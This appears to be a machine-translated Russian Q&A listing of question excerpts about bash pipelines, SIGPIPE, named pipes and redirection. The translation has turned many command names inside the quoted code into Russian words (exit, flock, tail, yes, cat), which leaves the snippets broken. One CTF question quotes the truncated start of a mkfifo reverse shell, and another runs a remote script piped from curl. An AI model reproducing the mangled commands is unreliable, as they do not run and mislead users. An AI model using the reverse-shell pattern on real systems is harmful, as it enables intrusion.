1
ответ

bash-скрипт для перенаправления вывода 'cut'/'find' в 'scp' с применением некоторых преобразований

Мне нужно перенаправить вывод 'cut/find' в scp с промежуточными преобразованиями имени файла. Предыстория: я использую ClearCase для контроля версий. У меня есть ветвь, отделенная от /Main. ...
29.04.2020
1
ответ
1
ответ

Как подавить SIGPIPE в bash?

Я пытаюсь выполнить следующий код: set -euxo pipefail да фраза | make installer Где Makefile использует фразу из стандартного ввода для создания файла установщика. Однако эта команда заканчивается кодом ошибки 141,...
27.04.2020
1
ответ

bash не завершает работу при ошибке, если вывод программы перенаправляется в файл журнала

#!/bin/bash exec 200>/var/lock/scraper || выход 1 стадо -n 200 || выход 1 cd /home/ubuntu/web_scraper /home/ubuntu/.nvm/versions/node/v13.12.0/bin/node mongo/scraper.js > журналы/scraper.log ...
23.04.2020
1
ответ

Почему здесь grep возвращает SIGPIPE (сигнал 13)?

Мне нужно создать программу, в которой у меня есть P0 в качестве родительского процесса и P1,...,PN дочерние процессы. Каждый дочерний элемент должен выполнять grep в файле и возвращать результат в канал. Затем P0 должен прочитать ...
21.04.2020
1
ответ

Как ввод завершается во время конвейера, хотя перевод строки не используется?

Когда я даю эту команду: $echo -n "Hello" Hello$, я получаю приведенный выше вывод. Это означает, что echo -n печатает строку без завершающего символа новой строки. Теперь я передаю вывод на чтение, где чтение ...
20.04.2020
1
ответ

Как получилось, что «правда; сделать эхо у; сделано | правда` умирает сама по себе, но пока правда; делать эхо у | Кот; сделано | правда` нет?

Чтобы внести ясность в заглавный вопрос, я понимаю, почему первый умирает. Я не понимаю, почему последний этого не делает, просто для добавления | кот к телу петли. Также может быть связано, хотя и верно; сделать эхо у; ...
15.04.2020
1
ответ

Список определенных файлов в команде, которая ожидает `ls `передачи в нее

Я ищу элегантный кросс -совместимый способ направлять имена файлов в entr. Я знаю, что следующее работает с Bash, но мне нужна команда, которая будет работать в других оболочках. (вход - это...
15.04.2020
1
ответ

Отладка спорадических ошибок сценария оболочки 141

При запуске сценария в CI (Gitlab, контейнер Docker под управлением Alpine Linux) я получаю спорадические сбои с сигналом 141, который, похоже, указывает на "SIGPIPE ". Но я не понимаю, что это за шаг...
15.04.2020
1
ответ

Команда для создания/подключения к потоку ввода/вывода?

Итак, я пытаюсь подключиться к (Lua )отладчику, встроенному в программу, перенаправляя ввод-вывод. В настоящее время я создаю пару FIFO для потоков чтения и записи и подключаюсь к ним с помощью cat /tmp/...
02.04.2020
1
ответ

Приостановить выполнение списка команд

У меня есть файл со списком команд bash, подобных следующим :echo 'foobar' эхо 'привет мир' echo 'ok' И я могу выполнить эти команды, просто перенаправив их в /bin/bash вот так :cat...
01.04.2020
1
ответ

Что произойдет, если передать «да» другой команде?

Если команда yes будет постоянно повторять «y», пока не будет уничтожена, то она никогда не будет выполнена, верно? Если это никогда не будет сделано, то как он передает вывод следующей команде??
30.03.2020
1
ответ

Есть ли способ избежать конвейерной передачи загруженных данных, отправляемых на стандартный вывод? ?

Обратите внимание на следующую команду: wget FILE -O - | tar -xzv -C НАЗНАЧЕНИЕ Я понял от программиста, который просмотрел созданный мной код Bash, что лучше отделить tar от wget, чтобы предотвратить ...
28.03.2020
1
ответ

bash: фильтровать текстовый поток по результату выполнения команды

Существует ли стандартный инструмент, который может фильтровать текстовый поток на основе результата выполнения команды? Возьмем, к примеру, grep. Он может фильтровать текстовый поток на основе регулярного выражения. Но более общая проблема заключается в
26.03.2020
1
ответ

Как добавить обработку ошибок для модуля ansible shell с каналами?

У меня есть модуль оболочки Ansible, как показано ниже. - name: оболочка "Проверка файла": cat имя файла | найти что-то | хвост -1 | awk '{print $4}' register: hname Как выполнять обработку ошибок, например, если один канал ...
23.03.2020
1
ответ

Команда, которая отображает только IP-адрес и маску подсети с помощью ifconfig

Мне нужна помощь с моими лабораториями Linux. Кто-нибудь знает, какая комбинация команд соответствует этому упражнению? Посмотрите на вывод /sbin/ifconfig. Напишите строку, которая отображает только IP-адрес и...
23.03.2020
1
ответ

Ошибки конвейера в мою функцию приводят к игнорированию команды после 1 ошибки

Контекст: у меня есть сценарий Bash, который копирует файлы function log () { read IN if [ "$IN" == "" ]; затем: еще эхо "$datetime"$'\t'"$IN" | tee -файл журнала fi } function ...
23.03.2020
1
ответ

Как получить PID шелла в пайплайне?

Например, я запускаю sleep 1 | спать 2 | sleep 3 & Как получить идентификаторы процессов каждой части? Я мог бы проверить вывод заданий -l, но его формат может быть подозрительным среди оболочек, и я ищу более простой способ.
18.03.2020
1
ответ

Что на самом деле делает этот код?

При выполнении задачи CTF на платформе мне понадобился обратный шелл, но я не смог заставить его работать, поэтому я посмотрел на процессы и нашел один код обратного шелла: rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/...
18.03.2020
1
ответ

Как подключить /// через скрипт .sh или Python или использовать какие-то файлы настроек с FFMPEG

Первый пост, так что будьте добры, пожалуйста :) Итак, немного истории. Я использую tvheadend, а встроенный транскодер убивает мой процессор и обеспечивает вывод среднего качества (он питается от ffmpeg), если я подключаю...
03.03.2020
1
ответ

Кэшировать данные stdout и пересылать их stdout

Я использую инструмент командной строки в Linux, который выдает данные каждые 10 мс.Я передам это другому приложению для визуализации данных. Я хотел бы кэшировать, например, 10 входящих сообщений со стандартного ввода...
02.03.2020
1
ответ

Можно ли написать псевдоним или функцию в Bash для фильтрации ошибок (stderr)?

Иногда я делал grep -ri foo . но в некоторых node_modules он может иметь некоторые ссылки на несуществующие места. Так что я могу сделать grep -ri foo . 2>&- или grep -ri foo . 2> /dev/null, но...
23.02.2020
1
ответ

cut -d не работает?

Я пытаюсь извлечь из файла все строки, которые заканчиваются на /42, а затем удалить указанный /42 с помощью команды cut, но по какой-то причине это не работает. Вот команда grep "42$" анкеты.txt &...
23.02.2020
1
ответ

Попытка запустить сценарий .sh из curl

У меня возникли проблемы с запуском сценария оболочки. Итак, для контекста я использую bash <(curl -s -L https://test.com/detect.sh) --argument1=true Когда я запускаю эту команду в своей среде Ubuntu, она работает...
21.02.2020
1
ответ

Как учесть переменное количество дополнительных аргументов в сценарии bash?

Он настроен так, что $1 — это флаг того, что программа собирается делать, $2 может быть именем пользователя или чем-то еще. Это прекрасно работает, за исключением одного: я должен иметь возможность добавить комментарий к пользователю, и...
20.02.2020
1
ответ

Почему `BrokenPipeError` зависит от размера передаваемого потока?

Следующий скрипт вызывает BrokenPipeError: [Errno 32] Неработающий конвейер при передаче в команду типа head (если только количество строк в head не превышает количество строк, напечатанных скриптом Python). ...
04.02.2020
1
ответ

Буфер именованных каналов после завершения процесса

Я создаю именованные каналы в средах Ubuntu 18 и 16 на языке C, используя gcc в качестве компилятора (mkfifo() и open()). Я заметил, что именованные каналы остаются в файловой системе после...
25.01.2020
1
ответ

изменить двоичный вывод перед возвратом в режим подсказки

У меня есть двоичный файл, который печатает вопрос, а затем ожидает ответа пользователя. У меня нет доступа к исходному коду этого двоичного файла, но я хочу изменить вывод на экран. Пример: > ./commandx Day ...
24.01.2020
1
ответ

Взаимодействующие программы stdin и stdout (создание программы робота для игры)

Настройка: У меня есть исполняемый файл, который я «не могу редактировать», так как у меня нет исходного кода. Когда я запускаю программу, она открывает игру, где через стандартный вывод передает мне несколько чисел, чтобы я мог...
23.01.2020
1
ответ

Лучший способ установить условный фильтр вывода (head или вывод «как есть»)

В целях тестирования я хочу активировать или не активировать фильтрацию с помощью команды head. Например, приведенная ниже команда может вывести много строк #!/bin/bash product_a_lot_of_lines Я хочу установить ...
09.01.2020